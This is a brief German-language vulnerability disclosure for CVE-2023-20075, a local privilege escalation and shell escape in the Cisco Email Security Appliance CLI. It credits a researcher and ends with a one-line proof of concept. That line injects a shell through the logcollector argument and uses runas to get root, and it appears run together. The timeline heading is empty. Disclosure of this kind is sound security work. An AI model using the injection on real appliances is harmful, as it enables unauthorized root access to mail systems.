
Cisco Email Security Appliance: Lokale Privilegienausweitung und Shell-Ausbruch
Sicherheitsforscher: ly1g3, ly1g3[at]tuta.io
GPG-Fingerabdruck: https://keys.openpgp.org/vks/v1/by-fingerprint/5FE85CE4E8F675F5ABD2C0A33CE8BE447ED6D586
Überblick: Lokale Privilegieneskalation und Shell-Escape
CVE: CVE-2023-20075
Chronologie:
ESA (Cisco Secure Email)
Ein authentifizierter Benutzer mit Zugriff auf die CLI kann Privilegien auf Root-Ebene eskalieren und beliebigen Code ausführen
logcollector aus36;/bin/sh/data/release/phoebe-14*/bin/runas 0 /bin/sh